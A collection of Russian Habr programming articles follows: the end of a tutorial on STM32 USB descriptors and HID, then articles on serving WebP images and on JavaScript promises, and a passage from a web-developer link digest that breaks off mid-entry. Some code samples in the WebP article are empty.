Еще одной интересной особенностью дескрипторов USB является любовь к строкам. В шаблоне дескриптора они обозначаются префиксом i, как например iSerialNumber ~~или iPhone~~. Эти строки входят во многие дескрипторы и, честно говоря, я не знаю, зачем их так много. Тем более что при подключении устройства видны будут только iManufacturer, iProduct и iSerialNumber. Как бы то ни было, строки представляют собой те же дескрипторы (то есть поля bLength и bDescriptorType в наличии), но вместо дальнейшей структуры идет поток 16-битных символов, похожих на юникод. Смысл данного извращения мне опять непонятен, ведь подобные названия даются все равно обычно на английском, где и 8-битного ASCII хватило бы. Ну хорошо, хотите расширенный набор символов, так UTF-8 бы взяли. Странные люди… Для удобного формирования строк удобно применять — угадайте что — правильно, макросы. Но на этот раз не моей разработки, а подсмотренные у EddyEm. Поскольку строки являются дескрипторами, то и запрашивать их хост будет как обычные дескрипторы, только в поле wValue подставит 0x0300 (STRING\_DESCRIPTOR). А вместо младшего байта будет собственно индекс строки. Скажем, запрос 0x0300 это строка с индексом 0 (она зарезервирована под язык устройства и почти всегда равна u"\x0409"), а запрос 0x0302 — строка с индексом 2.
**Внимание, грабли!** Сколь бы ни был велик соблазн засунуть в iSerialNumber просто строку, даже строку с честной версией вида u''1.2.3'' — **не делайте этого!** Некоторые операционные системы считают, что там должны быть только шестнадцатеричные цифры, то есть '0'-'9', 'A'-'Z' и все. Даже точек нельзя. Наверное, они как-то считают от этого «числа» хэш чтобы идентифицировать при повторном подключении, не знаю. Но проблему такую заметил при тестировании на виртуальной машине с Windows 7, она считала устройство бракованным. Что интересно, Windows XP и 10 проблему не заметили.
### ConfigurationDescriptor
С точки зрения хоста устройство представляет набор отдельных интерфейсов, каждый из которых предназначен для решения какой-то задачи. В дескрипторе интерфейса описывается его устройство и привязанные конечные точки. Да, конечные точки описываются не сами по себе, а только как часть интерфейса. Обычно интерфейсы со сложной архитектурой управляются SETUP запросами (то есть через ep0), в которых поле wIndex номеру интерфейса и соответствует. Максимум позволяется прикарманить конечную точку для прерываний. А от интерфейсов данных хосту нужны только описания конечных точек и обмен будет идти через них.
Интерфейсов в одном устройстве может быть много, причем очень разных. Поэтому чтобы не путаться где заканчивается один интерфейс и начинается другой, в дескрипторе указывается не только размер «заголовка», но и отдельно (обычно 3-4 байтами) полный размер интерфейса. Таким образом интерфейс складывается подобно матрешке: внутри общего контейнера (который хранит размер «заголовка», bDescriptorType и полный размер содержимого, включая заголовок) может находиться еще парочка контейнеров поменьше, но устроенных точно так же. А внутри еще и еще. Приведу пример дескриптора примитивного HID-устройства:
```
static const uint8_t USB_ConfigDescriptor[] = {
ARRLEN34(
ARRLEN1(
bLENGTH, // bLength: Configuration Descriptor size
USB_DESCR_CONFIG, //bDescriptorType: Configuration
wTOTALLENGTH, //wTotalLength
1, // bNumInterfaces
1, // bConfigurationValue: Configuration value
0, // iConfiguration: Index of string descriptor describing the configuration
0x80, // bmAttributes: bus powered
0x32, // MaxPower 100 mA
)
ARRLEN1(
bLENGTH, //bLength
USB_DESCR_INTERFACE, //bDescriptorType
0, //bInterfaceNumber
0, // bAlternateSetting
0, // bNumEndpoints
HIDCLASS_HID, // bInterfaceClass:
HIDSUBCLASS_NONE, // bInterfaceSubClass:
HIDPROTOCOL_NONE, // bInterfaceProtocol:
0x00, // iInterface
)
ARRLEN1(
bLENGTH, //bLength
USB_DESCR_HID, //bDescriptorType
USB_U16(0x0101), //bcdHID
0, //bCountryCode
1, //bNumDescriptors
USB_DESCR_HID_REPORT, //bDescriptorType
USB_U16( sizeof(USB_HIDDescriptor) ), //wDescriptorLength
)
)
};
```
Здесь уровень вложенности небольшой, плюс ни одной конечной точки не описано — ну так я старался выбрать устройство попроще. Некоторое недоумение здесь могут вызвать константы bLENGTH и wTOTALLENGTH, равные восьми- и шестнадцатибитному нулям. Поскольку в данном случае для расчета размера используются макросы, было бы странно дублировать их работу и считать байты руками. Как и странно писать нули. А константы штука заметная, наглядности кода способствующая.
Как можно видеть, данный дескриптор состоит из «заголовка» USB\_DESCR\_CONFIG (хранящего полный размер содержимого включая себя!), интерфейса USB\_DESCR\_INTERFACE (описывающего подробности устройства) и USB\_DESCR\_HID, в общих чертах говорящего что же именно за HID мы изображаем. Причем именно что в общих чертах: конкретная структура HID описывается в специальном дескрипторе HID\_REPORT\_DESCRIPTOR, рассматривать который я здесь не буду, просто потому что слишком плохо его знаю. Так что ограничимся копипастом из какого-нибудь [примера](http://we.easyelectronics.ru/electro-and-pc/usb-dlya-avr-chast-2-hid-class-na-v-usb.html).
Вернемся к интерфейсам. Учитывая, что у них есть номера, логично предположить, что в одном устройстве интерфейсов может быть много. Причем они могут отвечать как за одну общую задачу (скажем, интерфейс управления USB-CDC и интерфейс данных), так и за принципиально несвязанные. Скажем, ничто не мешает нам (кроме отсутствия знаний пока) на одном контроллере реализовать два переходника USB-CDC плюс флешку плюс, скажем, клавиатуру. Очевидно, что интерфейс флешки знать не знает про COM-порт. Впрочем, тут есть свои подводные камни, которые, надеюсь, когда-нибудь рассмотрим. Еще стоит отметить, что один интерфейс может иметь несколько альтернативных конфигураций (bAlternateSetting), отличающихся, скажем, количеством конечных точек или частотой их опроса. Собственно, для того и сделано: если хост считает, что лучше пропускную способность поберечь, он может переключить интерфейс в какой-нибудь альтернативный режим, который ему больше понравился.
### Обмен данными с HID
Вообще говоря, HID-устройства имитируют объекты реального мира, у которых есть не столько данные, сколько набор неких параметров, которые можно измерять или задавать (запросы SET\_REPORT / GET\_REPORT) и которые могут уведомлять хост о внезапном внешнем событии (INTERRUPT). Таким образом, собственно для обмена данными данные устройства не предназначены… но кого это когда останавливало!
Прерываний мы пока касаться не будем, поскольку им нужна специальная конечная точка. А вот чтение и настройку параметров рассмотрим. В данном случае параметр всего один, представляющий собой структуру из двух байтов, по замыслу отвечающих за два светодиода, либо за кнопку и счетчик.
Начнем с более простого — чтения по запросу HIDREQ\_GET\_REPORT. По сути это такой же запрос, как и всякие DEVICE\_DESCRIPTOR, только специфичный именно для HID. Плюс этот запрос адресован не устройству в целом, а интерфейсу. То есть если мы реализовали в одном устройстве несколько независимых HID-устройств, их можно различить по полю wIndex запроса. Правда, именно для HID это не лучший подход: проще сам дескриптор сделать составным. В любом случае до таких извращений нам далеко, так что даже не будем анализировать что и куда хост пытался послать: на любой запрос к интерфейсу и с полем bRequest равным HIDREQ\_GET\_REPORT будем возвращать собственно данные. По идее, такой подход предназначен чтобы возвращать дескрипторы (со всеми bLength и bDescriptorType), но в случае HID разработчики решили все упростить и обмениваться только данными. Вот и возвращаем указатель на нашу структуру и ее размер. Ну и небольшая дополнительная логика вроде обработки кнопок и счетчика запросов.
Более сложный случай — запрос на запись. Это первый раз, когда мы сталкиваемся с наличием дополнительных данных в SETUP запросе. То есть ядро нашей библиотеки должно сначала прочитать сам запрос, и только потом данные. И передать их юзерской функции. А буфера у нас, напоминаю, нет. В результате некоторой низкоуровневой магии был разработан следующий алгоритм. Callback вызывать будем всегда, но укажем ему с какого по счету байта данные сейчас лежат в буфере приема конечной точки (offset) а также размер этих данных (size). То есть при приеме самого запроса значения offset и size равны нулю (данных-то нет). При приеме первого пакета offset все еще равен нулю, а size — размеру принятых данных. Для второго offset будет равен размеру ep0 (потому что если данные пришлось разбивать, делают это по размеру конечной точки), а size — размеру принятых данных. И так далее. **Важно!** Если данные приняты, их надо считать. Это может сделать либо обработчик вызовом usb\_ep\_read() и возвратом 1 (мол «я там сам считал, не утруждайся»), либо просто вернув 0 («мне эти данные не нужны») без чтения — тогда очисткой займется ядро библиотеки. По этому принципу и построена функция: она проверяет в наличии ли данные и если да, то читает их и зажигает светодиоды.
### Софт для обмена данными
Тут я велосипед изобретать не стал, а взял готовую [программу](https://github.com/COKPOWEHEU/vusb_dev/tree/master/vusb_dev/18_soft) из предыдущей [статьи](https://habr.com/ru/post/460815/).
### Заключение
Вот, собственно, и все. Основы работы с USB при помощи аппаратного модуля в STM32 я рассказал, некоторый грабли тоже пощупал. Учитывая значительно меньший объем кода, чем тот ужас, что генерирует STMCube, разобраться в нем будет проще. Собственно говоря, в Cube'ической лапше я так и не разобрался, уж больно много там вызовов одного и того же в разных комбинациях. Гораздо лучше для понимания [вариант от EddyEm](https://github.com/eddyem/stm32samples), от которого я отталкивался. Конечно, и там не без косяков, но хотя бы пригодно для понимания. Также похвастаюсь, что размер моего варианта едва ли не в 5 раз меньше ST'шного (~2.7 кБ против 14) — при том, что оптимизацией я не занимался и наверняка можно еще ужать.
Отдельно хочу отметить разницу поведения различных операционных систем при подключении сомнительного оборудования. Linux просто работает, даже если в дескрипторах ошибки. Windows XP, 7, 10 при малейших ошибках ругаются что «устройство поломанное, я с ним работать отказываюсь». Причем XP иногда даже в BSOD падала от негодования. Ах да, еще они постоянно выводят «устройство может работать быстрее», что с этим делать я не знаю. UPD: похоже, это решается выставлением поля BCD\_USB в 1.1 (USB\_U16(0x0110) ), правда я не знаю будут ли побочные эффекты. В общем, как бы хорош Linux не был для разработки, он прощает слишком многое, тестировать надо и на менее юзер-френдли системах.
Дальнейшие планы: рассмотреть остальные типы конечных точек (пока что был пример только с Control); рассмотреть другие контроллеры (скажем, у меня еще at90usb162 (AVR) и gd32vf103 (RISC\_V) валяются), но это совсем далекие планы. Также хорошо бы поподробнее разобраться с отдельными USB-устройствами вроде тех же HID, но тоже не приоритетная задача. | https://habr.com/ru/post/548150/ | null | ru | null |
# Использование современных графических форматов в веб-проектах
Эдди Османи, в статье «[Цена JavaScript в 2018 году](https://habr.com/ru/company/ruvds/blog/419369/)», озвучил одну ценную мысль: время, необходимое на обработку скрипта размером 200 Кб, и на обработку изображения, имеющего такой же размер, серьёзно различается. Дело в том, что при обработке кода браузеру нужно проделать более масштабную работу, чем при подготовке к использованию изображений. Вот что об этом говорится в статье:
*JPEG-изображение нужно декодировать, растеризовать и вывести на экран. А JS-бандл надо, если рассматривать это упрощённо, загрузить, распарсить, скомпилировать, выполнить. На самом же деле движку приходится решать и другие задачи в процессе обработки JS-кода. В целом, стоит учитывать, что на обработку JavaScript-кода, размеры которого, в байтах, сопоставимы с размерами других материалов, тратится гораздо больше системных ресурсов.*
Эти слова были написаны в 2018 году, но они до сих пор более чем справедливы. Правда, учитывая текущую обстановку, высказанная здесь мысль сегодня воспринимается немного иначе.
[](https://habr.com/ru/company/ruvds/blog/494710/)
Принимая во внимание то, что в мире сейчас разразилась пандемия, я заметил, что моё интернет-соединение стало работать нестабильно. К нашему счастью, благодаря тому, что на страже благополучия интернета стоят прекрасные специалисты, не знающие усталости, большая часть Всемирной сети до сих пор работает нормально. Но в интернете, определённо, что-то происходит. Я пользуюсь соединением на 100 Мбит/с, но у меня возникает такое ощущение, будто я сижу на 3G-модеме.
Это вносит некоторые изменения в вышеприведённые рассуждения. Дело в том, что наши устройства могут парсить и компилировать JavaScript с той же скоростью, с которой они могли это делать пару недель назад. Но данные теперь путешествуют по сетям медленнее. В результате в настоящий момент крайне важно то, какой именно объём данных, представляющих некий ресурс, передаётся по сети при загрузке этого ресурса.
А на сайтах обычно имеется гораздо больше, чем 200 Кб изображений. Страница с несколькими мегабайтами картинок — это обычно дело. Многие разработчики (и я тоже!), как правило, совсем не задумываются о размерах медиа-материалов.
Но, что очень хорошо, оптимизировать изображения, используемые на веб-страницах, не так уж и сложно. В этом материале мы поговорим о том, как пользоваться современными графическими форматами вроде WebP. Изображения, сохранённые в таких форматах, часто оказываются в 2-3 раза меньше, чем те, для хранения которых используются всем известные и всеми любимые старые форматы (вроде JPG и PNG). Применение новых форматов может серьёзно изменить ситуацию в лучшую сторону.
Общий обзор современных графических форматов
--------------------------------------------
Для улучшения работы с веб-графикой мы можем воспользоваться следующими тремя форматами:
* JPEG 2000 — формат, представляющий собой улучшенный вариант обычного JPG. Этот формат был разработан в 1997 году, преимущественно для использования в кинематографе и в медицине. Он позволяет сжимать изображения сильнее, чем JPEG, но с меньшим количеством артефактов.
* JPEG XR — это формат, родственный JPEG 2000. Он разработан компанией Microsoft в 2009 году.
* WebP — формат, созданный Google в 2010 году для веб. Основная цель его разработки заключалась в использовании продвинутых способов оптимизации изображений ради уменьшения размеров файлов. WebP поддерживает прозрачность и даже анимацию.
Здесь мы, в основном, будем говорить о WebP. Форматы, родственные JPEG, мы обсудим там, где будет поднят вопрос браузерной совместимости.
Много ли можно выиграть, пользуясь альтернативными графическими форматами?
--------------------------------------------------------------------------
Несколько месяцев назад я использовал в одном материале следующее изображение.
*Изображение, использованное в одном материале*
Я провёл некоторые эксперименты, рассмотрев использование форматов JPG и PNG для хранения исходного изображения. Я оптимизировал варианты изображения с использованием [imagemin](https://github.com/imagemin/imagemin) для того чтобы узнать о том, что мне может дать применение WebP вместо этих «ретро»-форматов.
Результаты оказались прямо-таки невероятными.
| Особенности изображения | Оригинал | WebP |
| --- | --- | --- |
| Файл в формате .png (из Photoshop) | 742 Кб | 61 Кб! (на 92% меньше) |
| Оптимизированный файл в формате .png (после Imagemin) | 178 Кб | 58 Кб! (на 67% меньше) |
| Файл в формате .jpg (из Photoshop) | 242 Кб | 50 Кб! (на 79% меньше) |
| Оптимизированный файл в формате .jpg (после imagemin) | 151 Кб | 50 Кб! (на 67% меньше) |
Я проводил подобные эксперименты с множеством изображений. Практически всегда оказывалось, что WebP-файлы были на 30-70% меньше чем даже оптимизированные версии графических файлов других форматов.
Тут может возникнуть вопрос о том, как преобразование в WebP может повлиять на SVG-изображения. Я подобных экспериментов с SVG не проводил. SVG — это векторный формат. Это значит, что изображения в нём строятся на основе математических инструкций, а не на основе сведений о цвете отдельных пикселей. Преобразовать SVG-изображение в WebP — значит отказаться от возможностей по масштабированию SVG-изображений, что, полагаю, недопустимо. К тому же, я подозреваю, что подобное преобразование, в большинстве случаев, приведёт к увеличению размеров файлов.
Браузерная совместимость
------------------------
Для того чтобы узнать о том, как те или иные графические форматы поддерживаются браузерами, заглянем на [caniuse.com](https://caniuse.com).
Формат WebP пользуется поддержкой большинства браузеров.
*Поддержка формата WebP браузерами*
Хоть уровень поддержки этого формата и весьма высок, очень плохо то, что его не поддерживают Safari и Internet Explorer.
А вот — сведения о поддержке JPEG 2000.
*Поддержка формата JPEG 2000 браузерами*
Так, теперь Safari на нашей стороне, а вот Internet Explorer опять остался не у дел.
А как насчёт JPEG XR?
*Поддержка формата JPEG XR браузерами*
А тут отличился именно Internet Explorer. В результате, пользуясь этими тремя форматами, мы перекрываем все существующие браузеры (KaiOS Browser не поддерживает ни один из этих форматов, и я приношу ему свои извинения за то, что обхожу его вниманием, но я даже не знаю о том, что это за браузер).
Поговорим теперь о том, как выбирать разные форматы изображений, предназначенные для разных браузеров.
Элемент picture спешит на помощь
--------------------------------
В HTML есть два элемента, предназначенных для вывода изображений. Первый можно сравнить с международной поп-звездой вроде Мадонны. Это — `img`. А второй — это как новая группа, известная лишь в узких кругах любителей музыки. Это — элемент `picture`.
Элемент `picture` появился в HTML гораздо позже, чем `img`. Главная цель этого нового элемента заключается в том, чтобы позволить разработчикам загружать различные графические ресурсы в зависимости от разрешения экрана, или в зависимости от того, поддерживает ли браузер некий графический формат.
Вот как выглядит HTML-код, в котором применяется элемент `picture`:
```
```
Элемент `picture` может включать в себя множество дочерних элементов `source` и один элемент `img`. Браузер последовательно парсит эти элементы, подбирая, на основе атрибута `type` (и `media`), тот из них, которым сможет воспользоваться. Когда такой элемент будет найден, браузер выясняет адрес изображения, пользуясь атрибутом `srcset`, после чего выводит это изображение с помощью элемента `img`.
Атрибут `srcset` обладает гораздо большими возможностями, чем обычный `src`, но мы, к счастью, можем рассматривать его как аналог `src`. В целом, элементы `source` представляют собой нечто вроде настроек, соответствующих различным изображениям. В `img` попадает то изображение, которое лучше всего соответствует среде, в которой просматривают страницу.
В Chrome, например, после обработки вышеприведённой разметки, браузер придёт к чему-то, более или менее эквивалентному следующему коду:
```
```
Использование набора следующих друг за другом элементов `source` означает, что в каждом браузере подходящим окажется хотя бы один из них. Так, большинство браузеров используют webp-изображение, Safari загрузит jp2-изображение, IE — jxr-изображение.
Тут уместно вспомнить о том, что Internet Explorer не поддерживает элемент `picture`. Этот элемент — слишком нов для данного браузера. Но, несмотря на это, вышеприведённый фрагмент разметки и в IE сработает так, как ожидается.
Дело в том, что когда браузер натыкается на неизвестный ему элемент, он рассматривает его как элемент `div`. В результате при разборе нашего кода IE видит множество элементов `div`, а также — один тег `![]()`, который содержит путь к jxr-изображению. А это, как оказывается, тот самый формат, который поддерживает Internet Explorer.
Упрощённая альтернатива
-----------------------
Вышеприведённый фрагмент кода чрезвычайно хорош тем, что позволяет пользоваться современными графическими форматами во всех актуальных браузерах. Но применение подобного кода основывается на предположении о существовании тех изображений, на которые в нём есть ссылки.
Если создавать такие изображения самостоятельно — придётся вложить в это много ручного труда. Если же генерировать их автоматически — это может значительно увеличить время сборки проекта. Обработка графики, как известно, становится весьма медленным процессом в том случае, если речь идёт о множестве изображений.
Лишь очень немногие посетители моего блога пользуются Internet Explorer (за последние 7 дней его попытались посмотреть лишь 3 человека с IE, что составило 0.02% трафика). Поэтому я решил воспользоваться упрощённым вариантом вышеописанного решения:
```
```
Я отдаю компактное webp-изображение тем браузерам, которые поддерживают этот формат (Chrome, Firefox, Edge), а браузерам, которые этого формат не поддерживают (IE, Safari), предлагаю наследие прошлого — jpeg-картинку.
С моей точки зрения это — пример прогрессивного улучшения. Проект остаётся работоспособным на старых браузерах, хотя загрузка изображений и занимает больше времени. Это — компромисс, который меня устраивает. (Правда, я надеюсь, что поддержка WebP скоро появится и в браузерах от Apple).
Проверка работоспособности решения
----------------------------------
Инструменты разработчика всегда будут полагать, что в изображении содержится то, что изначально было записано в атрибут `src` тега `img`. Если проверить элемент, воспользовавшись вкладкой `Elements`, то можно увидеть, что на странице используется jpg-изображение.
Для того, чтобы проверить работоспособность всего этого, лучше всего, как мне кажется, щёлкнуть правой кнопкой мыши по картинке и выбрать в появившемся меню пункт `Сохранить изображение как…` В Chrome при выполнении этой команды система должна предложить сохранить файл с расширением `.webp`. А вот в Safari это будет jpeg-файл.
Для того чтобы узнать о том, какой именно графический файл был получен с сервера при загрузке страницы, можно обратиться к вкладке инструментов разработчика `Network`.
Преобразование графических файлов в формат WebP
-----------------------------------------------
Компания Google создала набор инструментов, направленный на работу с webp-файлами. Один из таких инструментов называется [cwebp](https://developers.google.com/speed/webp/docs/cwebp). Он позволяет преобразовывать в WebP графические файлы других форматов.
Если вы пользуетесь MacOS, установить этот набор инструментов можно с помощью Homebrew:
```
brew install webp
```
На других платформах, полагаю, нужно будет загрузить подходящий [libwebp](http://downloads.webmproject.org/releases/webp/index.html)-пакет из репозитория.
После установки инструментов пользоваться ими можно так:
```
cwebp -q 80 cereal.png -o cereal.webp
```
Рассмотрим эту команду:
* Флаг `-q 80` позволяет задать качество изображения. Его значение изменяется от 1 (наихудшее качество) до 100 (наилучшее). Можете поэкспериментировать с различными значениями. Я выяснил, что лучше всего задавать тут что-то в районе 70-80.
* Имя файла `cereal.jpg` — это исходное изображение, которое нужно преобразовать в webp.
* Конструкция `-o cereal.webp` задаёт путь к выходному файлу.
Никто не захочет тратить время, вводя подобные команды вручную. Эту задачу, к счастью, можно автоматизировать.
Использование современных графических форматов в React-приложениях
------------------------------------------------------------------
Компонент — это прекрасный способ абстрагироваться от некоторых странностей элемента . Я пользуюсь для этого React-компонентами. На мой взгляд, это очень удобно. Вот как это выглядит:
```
const ImgWithFallback = ({
src,
fallback,
type = 'image/webp',
...delegated
}) => {
return (
);
};
```
Использование компонента `ImgWithFallback` очень похоже на работу с обычным тегом `img`:
```
```
Применение современных графических форматов со стилизованными компонентами
--------------------------------------------------------------------------
Если вы пользуетесь библиотеками `styled-components` или `emotion`, то вы, возможно, привыкли к особому оформлению изображений:
```
const FancyImg = styled.img`
whatever: stuff;
`
```
Очень хорошо то, что это работает и с нашим компонентом `ImgWithFallback`. Заключить его в соответствующую обёртку можно так же, как любой другой компонент:
```
const FancyImg = styled(ImgWithFallback)`
whatever: stuff;
`
```
Причина работоспособности этой конструкции заключается в том, как именно работает вспомогательная конструкция `styled`. Она генерирует класс и внедряет его в таблицу стилей документа. Затем имя сгенерированного класса передаётся компоненту в виде свойства:
```
```
Мы делегируем все свойства дочернему тегу `![]()`, в результате к изображению применяются, как это обычно происходит, правильные стили. Всё работает именно так, как можно ожидать.
Использование пакета gatsby-image
---------------------------------
Если вы применяете Gatsby, то знайте, что пакет `gatsby-image`, при его обычном использовании, уже задействует множество оптимизаций изображений. Сюда входит и преобразование изображений в формат webp (хотя, для этого нужно включить соответствующий параметр).
Пакет `gatsby-image` не претендует на то, чтобы стать заменой `img`. Его использование может оказаться не таким уж и простым, его внутренние механизмы могут приводить к появлению неожиданностей, осложняющих разработчику жизнь.
Если этот пакет вам интересен — взгляните на его [документацию](https://www.gatsbyjs.org/packages/gatsby-image/).
Минусы WebP
-----------
Единственным реальным недостатком webp, который мне удалось обнаружить, заключается в том, что с файлами этого формата очень неудобно работать.
Большинство настольных пакетов для работы с изображениями пока его не поддерживают. Например, я не могу открывать webp-файлы в Preview на MacOS. Это значит, скажем, что если я сохраню webp-изображение с веб-страницы, я не смогу просмотреть его на компьютере!
Преобразование webp-файлов в jpeg-файлы — процесс достаточно простой. В интернете можно найти много бесплатных сервисов, выполняющих подобное преобразование. Но, это, опять же, не так удобно, как работа с традиционными графическими форматами. Если ваш сайт предлагает пользователям загружать с него графические файлы — вы, возможно, решите, что переход на webp вам не нужен.
Итоги
-----
Мне очень нравится то, что благодаря использованию webp удалось сократить размер изображений в моём блоге примерно на 50%. Помимо того, что в наше непростое время это улучшает впечатления пользователей от работы с ним, я ещё надеюсь на то, что это позволит мне немного сэкономить на оплате трафика.
Конечно, идея ручного преобразования графических файлов в формат webp выглядит весьма непрактичной. Я уже занимаюсь изучением вопроса о том, как автоматически конвертировать в этот формат jpg- и png-файлы. В идеале этот процесс должен происходить совершенно незаметно для разработчика, во время сборки сайта.
Создатели веб-проектов обычно не особенно интересуются особенностями применения новых графических форматов. Но я полагаю, что разбираться в этом вопросе весьма полезно. Ведь использование WebP — это, вероятно, самый простой способ сократить размеры веб-проекта на сотни килобайт.
**Уважаемые читатели!** Пользуетесь ли вы форматом WebP?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/494710/ | null | ru | null |
# Promises 101
Перевод первой части отличной [статьи](https://bitsofco.de/javascript-promises-101/) про промисы. Базовые приемы создания и управления промисами.
Промисы используются для операций, вычисление которых занимает неопределенное время. Примером подобной операции может быть сетевой запрос, когда мы запрашиваем данные у API и не можем точно определить, когда будет получен ответ.
Если есть другие операции, выполнение которых зависит от этого сетевого запроса, то вырисовывается проблема. Без промисов нам придётся использовать вереницу колбэков(callbacks), чтобы выстроить последовательность операций. Это нормально, если у нас одно асинхронное действие. Но если нужно сделать несколько последовательных асинхронных шагов, колбэки становятся неуправляемыми и результат печально известен как [лапша колбеков (callback hell)](http://callbackhell.com/)
```
doSomething(function(responseOne) {
doSomethingElse(responseOne, function(responseTwo, err) {
if (err) { handleError(err); }
doMoreStuff(responseTwo, function(responseThree, err) {
if (err) { handleAnotherError(err); }
doFinalThing(responseThree, function(err) {
if (err) { handleAnotherError(err); }
// Выполнено
}); // конец doFinalThing
}); // конец doMoreStuff
}); // конец doSomethingElse
}); // конец doSomething
```
Промисы предоставляют стандартизированный и понятный метод решения задач, которые должны выполняться последовательно.
```
doSomething()
.then(doSomethingElse)
.catch(handleError)
.then(doMoreStuff)
.then(doFinalThing)
.catch(handleAnotherError)
```
### Создание промисов
Промисы создаются при помощи конструктора промисов. Он представляет собой функцию с двумя аргументами (`resolve` & `reject`) в качесте параметров.
```
var promise = new Promise(function(resolve, reject) { /* Содержимое промиса */ } )
```
Внутри этой функции мы можем выполнять любые асинхронные задачи. Чтобы отметить промис как **исполненный**, мы вызываем `resolve()`, передавая ему значение, которое мы хотим возвратить. Что бы отметить промис как **отклонённый** или неудачный, мы вызываем `reject()`, передавая ему сообщение ошибки. До того, как промис станет исполненным или отклоненным, он находится в состоянии **ожидания**.
Вот промис версия XMLHttpRequest -
```
/* CREDIT - Jake Archibald, http://www.html5rocks.com/en/tutorials/es6/promises/ */
function get(url) {
return new Promise(function(resolve, reject) {
var req = new XMLHttpRequest();
req.open('GET', url);
req.onload = function() {
if (req.status == 200) {
resolve(req.response); /* ПРОМИС ВЫПОЛНЕН */
} else {
reject(Error(req.statusText)); /* ПРОМИС ОТКЛОНЁН */
}
};
req.onerror = function() { reject(Error("Network Error")); };
req.send();
});
}
```
### Использование промисов
Что бы выполнить промис, мы можем вызвать его как любую обычную функцию. Но, так как это промис, у нас есть доступ к `.then` методу, который мы можем добавить к функции и который будет исполнен когда промис выйдет из режима ожидания.
`.then()` метод принимает два необязательных параметра. Первый — это функция, которая вызывается, когда промис исполнен(resolved). Второй — функция, которая выполняется если промис отклонён(rejected).
```
get(url)
.then(function(response) {
/* successFunction */
}, function(err) {
/* errorFunction */
})
```
### Обработка ошибок
Так как оба параметра (successFunction и errorFunction) опциональны, мы можем разделить их на два `.then()` для лучшей читаемости.
```
get(url)
.then(function(response) {
/* successFunction */
}, undefined)
.then(undefined, function(err) {
/* errorFunction */
})
```
Что бы сделать код еще более понятным, мы можем использовать `.catch()` метод, который является сокращенным вариантом для `.then(undefined, errorFunction)`
```
get(url)
.then(function(response) {
/* successFunction */
})
.catch(function(err) {
/* errorFunction */
})
```
### Формирование цепи
Настоящая ценность промисов заключается в том, что мы можем выполнять несколько асинхронных функций по порядку. Мы можем объединить `.then()` и `.catch()` вместе для создания последовательности асинхронных функций.
Мы можем сделать это, возвращая еще один промис после выполнения или отклонения предыдущего. Например -
```
get(url)
.then(function(response) {
response = JSON.parse(response);
var secondURL = response.data.url
return get( secondURL ); /* Возвращаем новый промис */
})
.then(function(response) {
response = JSON.parse(response);
var thirdURL = response.data.url
return get( thirdURL ); /* Возвращаем новый промис */
})
.catch(function(err) {
handleError(err);
});
```
Если промис исполнен(resolved), то вызовется ближайший `.then()` в последовательности. Если промис отклонён(rejected), то ближайший `.catch()` в последовательности.
### Паралелльное выполнение промисов
Может возникнуть ситуация, когда нам понадобится выполнить несколько промисов параллельно, и продолжать алгоритм только после того, как все промисы будут выполнены. Например, если мы хотим получить ряд изображений и только после этого отобразить их на странице.
Чтобы это сделать, нам необходимо использовать два метода. Это `Array.map()`, для того, что бы применить промис для каждого элемента массива и сохранить результат в новый массив. И `Promise.all()`, который выполнит `resolve()` в случае исполнения всех промисов в массиве. Если хоть один промис в массиве будет отклонен, `Promise.all()` тоже будет отклонён.
```
var arrayOfURLs = ['one.json', 'two.json', 'three.json', 'four.json'];
var arrayOfPromises = arrayOfURLs.map(get);
Promise.all(arrayOfPromises)
.then(function(arrayOfResults) {
/* Сделать что-нибудь, когда все промисы в массиве зарезолвятся */
})
.catch(function(err) {
/* Выполняется, если хоть один промис в массиве отклонён */
})
```
Если мы посмотрим в сетевую панель (Network panel) инструментов разработки (Development tools), мы увидим, что все запросы случаются параллельно.
Если вам нужна поддержка IE и/или Opera Mini, используйте [полифил](https://github.com/taylorhakes/promise-polyfill).
Спасибо за внимание! | https://habr.com/ru/post/312670/ | null | ru | null |
# Несколько интересностей и полезностей для веб-разработчика #15
Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.
#### [Bitcore](http://bitcore.io/)
[](http://bitcore.io/)
Полноценная JS библиотека, полностью обеспечивающая поддержку необходимого функционала для создания Bitcoin приложений.
Валидация биткоин адреса:
```
var bitcore = require('bitcore');
var Address = bitcore.Address;
var addr = new Address("1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa");
console.log(addr.isValid());
```
**Мониторинг блоков и транзакций**
```
var bitcore = require('bitcore');
var networks = bitcore.networks;
var Peer = bitcore.Peer;
var PeerManager = require('soop').load('bitcore/PeerManager', {
network: networks.testnet
});
var handleBlock = function(info) {
console.log('** Block Received **');
console.log(info.message);
};
var handleTx = function(info) {
var tx = info.message.tx.getStandardizedObject();
console.log('** TX Received **');
console.log(tx);
};
var handleInv = function(info) {
console.log('** Inv **');
console.log(info.message);
var invs = info.message.invs;
info.conn.sendGetData(invs);
};
var peerman = new PeerManager();
peerman.addPeer(new Peer('127.0.0.1', 18333));
peerman.on('connection', function(conn) {
conn.on('inv', handleInv);
conn.on('block', handleBlock);
conn.on('tx', handleTx);
});
peerman.start();
```
#### [Sift.js](https://github.com/crcn/sift.js)
«Вдохновленная Монгой БД фильтрация массивов». Поддерживаются операторы: $in, $nin, $exists, $gte, $gt, $lte, $lt, $eq, $neq, $mod, $all, $and, $or, $nor, $not, $size, $type, $regex; поиск по регулярным выражениям; функциональная фильтрация; sub object searching; всего 2 кб в минифицированном виде.
```
var sift = require('sift');
//intersecting arrays
var sifted = sift({ $in: ['hello','world'] }, ['hello','sifted','array!']); //['hello']
//regexp filter
var sifted = sift(/^j/, ['craig','john','jake']); //['john','jake']
//A *sifter* is returned if the second parameter is omitted
var siftPeople = sift({
//you can also filter against functions
name: function(value) {
return value.length == 5;
}
});
//filtered: [{ name: 'craig' }]
siftPeople([{
name: 'craig',
},
{
name: 'john'
},
{
name: 'jake'
}]);
//you can test *single values* against your custom sifter
siftPeople.test({ name: 'sarah' }); //true
siftPeople.test({ name: 'tim' }); //false\
```
#### [Btapp.js](https://github.com/bittorrenttorque/btapp/)
[](http://btappjs.com/)
Torrent технология в браузере — звучит очень интересно. Авторы даже обещали stream, но судя по коммитам на [GitHub](https://github.com/bittorrenttorque/btapp/) по каким то причинам проект заморозился. Было бы здорово, если бы нашлись хабравчане, которые смогут помочь оживить проект…
#### [Obelisk.js](https://github.com/nosir/obelisk.js)
